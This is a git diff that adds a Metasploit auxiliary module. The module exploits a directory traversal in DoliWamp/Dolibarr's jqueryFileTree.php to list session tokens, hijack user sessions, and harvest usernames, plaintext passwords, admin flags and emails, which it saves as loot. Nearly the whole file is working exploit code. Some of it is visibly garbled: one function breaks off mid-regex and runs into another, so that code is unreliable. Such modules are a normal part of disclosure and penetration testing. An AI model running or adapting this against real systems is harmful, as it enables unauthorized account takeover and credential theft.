diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb new file mode 100644 index 0000000000..f53eef3a90 --- /dev/null +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", + 'Description' => %q{ + This module will extract user credentials from DoliWamp - a WAMP + packaged installer distribution for Dolibarr ERP on Windows - versions + 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session + tokens in filenames in the 'tmp' directory. A directory traversal + vulnerability in 'jqueryFileTree.php' allows unauthenticated users + to retrieve session tokens by listing the contents of this directory. + Note: All tokens expire after 30 minutes of inactivity by default. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Brendan Coles ', + 'References' => + [ + ['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], + ['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] + ], + 'DisclosureDate' => 'Jan 12 2014')) + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), + OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) + ], self.class) + end + + # + # Find session tokens + # + def get_session_tokens + tokens = nil + print_status("#{peer} - Finding session tokens...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri( + target_uri.path, + 'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'), + 'cookie' => @cookie, + 'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.code == 404 + print_error("#{peer} - Could not find 'jqueryFileTree.php'") + elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)sess_([a-z0-9]+) 'GET', + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie, + 'vars_get' => Hash[{ + 'action' => 'edit', + 'id' => "#{user_id}" + }.to_a.shuffle] + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /User card/ + record = [ + res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first, + res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first + ] + unless record.empty? + print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})") + return record + end + else + print_warning("#{peer} - Could not retrieve user credentials") + end + end + + # + # Verify if session cookie is valid and return user's ID + # + def get_user_id + # print_debug("#{peer} - Trying to hijack session '#{@cookie}'") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /
/ + user_id = "#{$1}" + vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'") + return user_id + else + vprint_status("#{peer} - Could not hijack session. Session is invalid.") + end + end + + # + # Construct cookie using token + # + def create_cookie(token) + # print_debug("#{peer} - Creating a cookie with token '#{token}'") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}" + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/ + return "DOLSESSID_#{$1}=#{token}" + else + print_warning("#{peer} - Could not create session cookie") + end + end + + # + # Show progress percentage + # Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb + # + def progress(current, total) + done = (current.to_f / total.to_f) * 100 + percent = "%3.2f%%" % done.to_f + vprint_status("#{peer} - Trying to hijack a session - " + + "%7s done (%d/%d tokens)" % [percent, current, total]) + end + + # + # Check for session tokens in 'tmp' + # + def check + get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + end + + def run + return unless tokens = get_session_tokens + credentials = [] + print_status("#{peer} - Trying to hijack a session...") + tokens.flatten.each_with_index do |token, index| + if @cookie = create_cookie(token) and user_id = get_user_id + credentials << get_user_info(user_id) + end + progress(index + 1, tokens.size) + end + + if credentials.empty? + print_warning("#{peer} - No credentials collected.") + return + end + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Dolibarr User Credentials', + 'Indent' => 1, + 'Columns' => ['Username', 'Password', 'Admin', 'E-mail'] + ) + credentials.each do |record| + report_auth_info({ + :host => rhost, + :port => rport, + :sname => (ssl ? 'https' : 'http'), + :user => record[0], + :pass => record[1], + :source_type => 'vuln' + }) + cred_table << [record[0], record[1], record[2], record[3]] + end + print_line + print_line("#{cred_table}") + loot_name = 'dolibarr.traversal.user.credentials' + loot_type = 'text/csv' + loot_filename = 'dolibarr_user_creds.csv' + loot_desc = 'Dolibarr User Credentials' + p = store_loot( + loot_name, + loot_type, + rhost, + cred_table.to_csv, + loot_filename, + loot_desc) + print_status("Credentials saved in: #{p}") + end +end